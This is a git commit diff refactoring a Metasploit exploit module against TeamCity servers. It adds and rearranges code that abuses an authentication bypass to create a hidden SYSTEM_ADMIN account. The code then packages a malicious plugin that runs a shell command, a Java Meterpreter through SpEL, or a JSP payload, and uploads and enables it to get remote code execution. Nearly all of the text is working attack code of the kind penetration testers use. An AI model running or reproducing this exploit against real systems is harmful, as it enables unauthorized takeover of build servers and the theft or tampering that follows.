reduce the size of teh exploit method by spinngin out two new methods create_payload_plugin and auth_new_admin_user. several if/unless blocks were flattened to be inline if/unless
This commit is contained in:
parent
4bd105202a
commit
6d84f0e898
|
@ -187,52 +187,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
token_name = nil
|
||||
token_value = nil
|
||||
|
||||
admin_username = Faker::Internet.username
|
||||
admin_password = Rex::Text.rand_text_alphanumeric(16)
|
||||
http_authorization = auth_new_admin_user
|
||||
|
||||
res = send_auth_bypass_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => {
|
||||
'username' => admin_username,
|
||||
'password' => admin_password,
|
||||
'name' => Faker::Name.name,
|
||||
'email' => Faker::Internet.email(name: admin_username),
|
||||
'roles' => {
|
||||
'role' => [
|
||||
{
|
||||
'roleId' => 'SYSTEM_ADMIN',
|
||||
'scope' => 'g'
|
||||
}
|
||||
]
|
||||
}
|
||||
}.to_json
|
||||
)
|
||||
|
||||
unless res&.code == 200
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to create an administrator user.')
|
||||
end
|
||||
|
||||
print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)")
|
||||
|
||||
http_authorization = basic_auth(admin_username, admin_password)
|
||||
|
||||
# Login via HTTP basic authorization and store the session cookie.
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),
|
||||
'keep_cookies' => true,
|
||||
'headers' => {
|
||||
'Origin' => full_uri,
|
||||
'Authorization' => http_authorization
|
||||
}
|
||||
)
|
||||
|
||||
# A failed login attempt will return in a 401. We expect a 302 redirect upon success.
|
||||
if res&.code == 401
|
||||
fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.')
|
||||
end
|
||||
fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.') if http_authorization.nil?
|
||||
else
|
||||
unless res&.code == 200
|
||||
# One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here
|
||||
|
@ -247,9 +204,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
# Extract the authentication token from the response.
|
||||
token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s
|
||||
|
||||
if token_value.nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.')
|
||||
end
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.') if token_value.nil?
|
||||
|
||||
print_status("Created authentication token: #{token_value}")
|
||||
|
||||
|
@ -263,108 +218,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
#
|
||||
plugin_name = Rex::Text.rand_text_alphanumeric(8)
|
||||
|
||||
if target['Arch'] == ARCH_CMD
|
||||
zip_plugin = create_payload_plugin(plugin_name)
|
||||
|
||||
case target['Platform']
|
||||
when 'win'
|
||||
shell = 'cmd.exe'
|
||||
flag = '/c'
|
||||
when 'linux', 'unix'
|
||||
shell = '/bin/sh'
|
||||
flag = '-c'
|
||||
else
|
||||
fail_with(Failure::BadConfig, 'Unsupported target platform')
|
||||
end
|
||||
|
||||
zip_resources = Rex::Zip::Archive.new
|
||||
|
||||
zip_resources.add_file(
|
||||
"META-INF/build-server-plugin-#{plugin_name}.xml",
|
||||
<<~XML
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<beans xmlns="http://www.springframework.org/schema/beans"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"
|
||||
default-autowire="constructor">
|
||||
<bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">
|
||||
<constructor-arg>
|
||||
<list>
|
||||
<value>#{shell}</value>
|
||||
<value>#{flag}</value>
|
||||
<value><![CDATA[#{payload.encoded}]]></value>
|
||||
</list>
|
||||
</constructor-arg>
|
||||
</bean>
|
||||
</beans>
|
||||
XML
|
||||
)
|
||||
elsif target['Arch'] == ARCH_JAVA
|
||||
# If the platform is java we can bootstrap a Java Meterpreter
|
||||
if target['Platform'] == 'java'
|
||||
zip_resources = payload.encoded_jar(random: true)
|
||||
|
||||
# Add in PayloadServlet as this is implements Runable and we can run the payload in a thread.
|
||||
servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')
|
||||
zip_resources.add_file('/metasploit/PayloadServlet.class', servlet)
|
||||
|
||||
payload_bean_id = Rex::Text.rand_text_alpha(8)
|
||||
|
||||
# We start the payload in a new thread via some Spring Expression Language (SpEL).
|
||||
bootstrap_spel = "\#{ new java.lang.Thread(#{payload_bean_id}).start() }"
|
||||
|
||||
# NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail
|
||||
# to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder
|
||||
# as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we
|
||||
# choose a property that does not exist, we generate several exceptions in the teamcity-server.log.
|
||||
|
||||
zip_resources.add_file(
|
||||
"META-INF/build-server-plugin-#{plugin_name}.xml",
|
||||
<<~XML
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<beans xmlns="http://www.springframework.org/schema/beans"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd">
|
||||
<bean id="#{payload_bean_id}" class="#{zip_resources.substitutions['metasploit']}.PayloadServlet"/>
|
||||
<bean class="java.beans.Encoder">
|
||||
<property name="exceptionListener" value="#{bootstrap_spel}"/>
|
||||
</bean>
|
||||
</beans>
|
||||
XML
|
||||
)
|
||||
else
|
||||
# For non java platforms with ARCH_JAVA, we can drop a JSP payload.
|
||||
zip_resources = Rex::Zip::Archive.new
|
||||
|
||||
zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded)
|
||||
end
|
||||
|
||||
else
|
||||
fail_with(Failure::BadConfig, 'Unsupported target architecture')
|
||||
end
|
||||
|
||||
zip_plugin = Rex::Zip::Archive.new
|
||||
|
||||
zip_plugin.add_file(
|
||||
'teamcity-plugin.xml',
|
||||
<<~XML
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<teamcity-plugin xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:schemas-jetbrains-com:teamcity-plugin-v1-xml">
|
||||
<info>
|
||||
<name>#{plugin_name}</name>
|
||||
<display-name>#{plugin_name}</display-name>
|
||||
<description>#{Faker::Lorem.sentence}</description>
|
||||
<version>#{Faker::App.semantic_version}</version>
|
||||
<vendor>
|
||||
<name>#{Faker::Company.name}</name>
|
||||
<url>#{Faker::Internet.url}</url>
|
||||
</vendor>
|
||||
</info>
|
||||
<deployment use-separate-classloader="true" node-responsibilities-aware="true"/>
|
||||
</teamcity-plugin>
|
||||
XML
|
||||
)
|
||||
|
||||
zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack)
|
||||
fail_with(Failure::BadConfig, 'Could not create the payload plugin.') if zip_plugin.nil?
|
||||
|
||||
#
|
||||
# 3. Upload the payload plugin to the TeamCity server
|
||||
|
@ -399,9 +255,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'data' => message.to_s
|
||||
)
|
||||
|
||||
unless res&.code == 200
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.')
|
||||
end
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.') unless res&.code == 200
|
||||
|
||||
#
|
||||
# 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server.
|
||||
|
@ -420,9 +274,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
}
|
||||
)
|
||||
|
||||
unless res&.code == 200
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.')
|
||||
end
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') unless res&.code == 200
|
||||
|
||||
# As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done.
|
||||
begin
|
||||
|
@ -480,9 +332,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
}
|
||||
)
|
||||
|
||||
unless res&.code == 200
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.')
|
||||
end
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') unless res&.code == 200
|
||||
end
|
||||
ensure
|
||||
#
|
||||
|
@ -505,6 +355,168 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
def auth_new_admin_user
|
||||
admin_username = Faker::Internet.username
|
||||
admin_password = Rex::Text.rand_text_alphanumeric(16)
|
||||
|
||||
res = send_auth_bypass_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => {
|
||||
'username' => admin_username,
|
||||
'password' => admin_password,
|
||||
'name' => Faker::Name.name,
|
||||
'email' => Faker::Internet.email(name: admin_username),
|
||||
'roles' => {
|
||||
'role' => [
|
||||
{
|
||||
'roleId' => 'SYSTEM_ADMIN',
|
||||
'scope' => 'g'
|
||||
}
|
||||
]
|
||||
}
|
||||
}.to_json
|
||||
)
|
||||
|
||||
unless res&.code == 200
|
||||
print_warning('Failed to create an administrator user.')
|
||||
return nil
|
||||
end
|
||||
|
||||
print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)")
|
||||
|
||||
http_authorization = basic_auth(admin_username, admin_password)
|
||||
|
||||
# Login via HTTP basic authorization and store the session cookie.
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),
|
||||
'keep_cookies' => true,
|
||||
'headers' => {
|
||||
'Origin' => full_uri,
|
||||
'Authorization' => http_authorization
|
||||
}
|
||||
)
|
||||
|
||||
# A failed login attempt will return in a 401. We expect a 302 redirect upon success.
|
||||
if res&.code == 401
|
||||
print_warning('Failed to login with new admin user credentials.')
|
||||
return nil
|
||||
end
|
||||
|
||||
http_authorization
|
||||
end
|
||||
|
||||
def create_payload_plugin(plugin_name)
|
||||
if target['Arch'] == ARCH_CMD
|
||||
|
||||
case target['Platform']
|
||||
when 'win'
|
||||
shell = 'cmd.exe'
|
||||
flag = '/c'
|
||||
when 'linux', 'unix'
|
||||
shell = '/bin/sh'
|
||||
flag = '-c'
|
||||
else
|
||||
print_warning('Unsupported target platform.')
|
||||
return nil
|
||||
end
|
||||
|
||||
zip_resources = Rex::Zip::Archive.new
|
||||
|
||||
zip_resources.add_file(
|
||||
"META-INF/build-server-plugin-#{plugin_name}.xml",
|
||||
<<~XML
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<beans xmlns="http://www.springframework.org/schema/beans"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"
|
||||
default-autowire="constructor">
|
||||
<bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">
|
||||
<constructor-arg>
|
||||
<list>
|
||||
<value>#{shell}</value>
|
||||
<value>#{flag}</value>
|
||||
<value><![CDATA[#{payload.encoded}]]></value>
|
||||
</list>
|
||||
</constructor-arg>
|
||||
</bean>
|
||||
</beans>
|
||||
XML
|
||||
)
|
||||
elsif target['Arch'] == ARCH_JAVA
|
||||
# If the platform is java we can bootstrap a Java Meterpreter
|
||||
if target['Platform'] == 'java'
|
||||
zip_resources = payload.encoded_jar(random: true)
|
||||
|
||||
# Add in PayloadServlet as this is implements Runable and we can run the payload in a thread.
|
||||
servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')
|
||||
zip_resources.add_file('/metasploit/PayloadServlet.class', servlet)
|
||||
|
||||
payload_bean_id = Rex::Text.rand_text_alpha(8)
|
||||
|
||||
# We start the payload in a new thread via some Spring Expression Language (SpEL).
|
||||
bootstrap_spel = "\#{ new java.lang.Thread(#{payload_bean_id}).start() }"
|
||||
|
||||
# NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail
|
||||
# to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder
|
||||
# as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we
|
||||
# choose a property that does not exist, we generate several exceptions in the teamcity-server.log.
|
||||
|
||||
zip_resources.add_file(
|
||||
"META-INF/build-server-plugin-#{plugin_name}.xml",
|
||||
<<~XML
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<beans xmlns="http://www.springframework.org/schema/beans"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd">
|
||||
<bean id="#{payload_bean_id}" class="#{zip_resources.substitutions['metasploit']}.PayloadServlet"/>
|
||||
<bean class="java.beans.Encoder">
|
||||
<property name="exceptionListener" value="#{bootstrap_spel}"/>
|
||||
</bean>
|
||||
</beans>
|
||||
XML
|
||||
)
|
||||
else
|
||||
# For non java platforms with ARCH_JAVA, we can drop a JSP payload.
|
||||
zip_resources = Rex::Zip::Archive.new
|
||||
|
||||
zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded)
|
||||
end
|
||||
|
||||
else
|
||||
print_warning('Unsupported target architecture.')
|
||||
return nil
|
||||
end
|
||||
|
||||
zip_plugin = Rex::Zip::Archive.new
|
||||
|
||||
zip_plugin.add_file(
|
||||
'teamcity-plugin.xml',
|
||||
<<~XML
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<teamcity-plugin xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:schemas-jetbrains-com:teamcity-plugin-v1-xml">
|
||||
<info>
|
||||
<name>#{plugin_name}</name>
|
||||
<display-name>#{plugin_name}</display-name>
|
||||
<description>#{Faker::Lorem.sentence}</description>
|
||||
<version>#{Faker::App.semantic_version}</version>
|
||||
<vendor>
|
||||
<name>#{Faker::Company.name}</name>
|
||||
<url>#{Faker::Internet.url}</url>
|
||||
</vendor>
|
||||
</info>
|
||||
<deployment use-separate-classloader="true" node-responsibilities-aware="true"/>
|
||||
</teamcity-plugin>
|
||||
XML
|
||||
)
|
||||
|
||||
zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack)
|
||||
|
||||
zip_plugin
|
||||
end
|
||||
|
||||
def get_install_path(http_authorization)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
|
|
Loading…
Reference in New Issue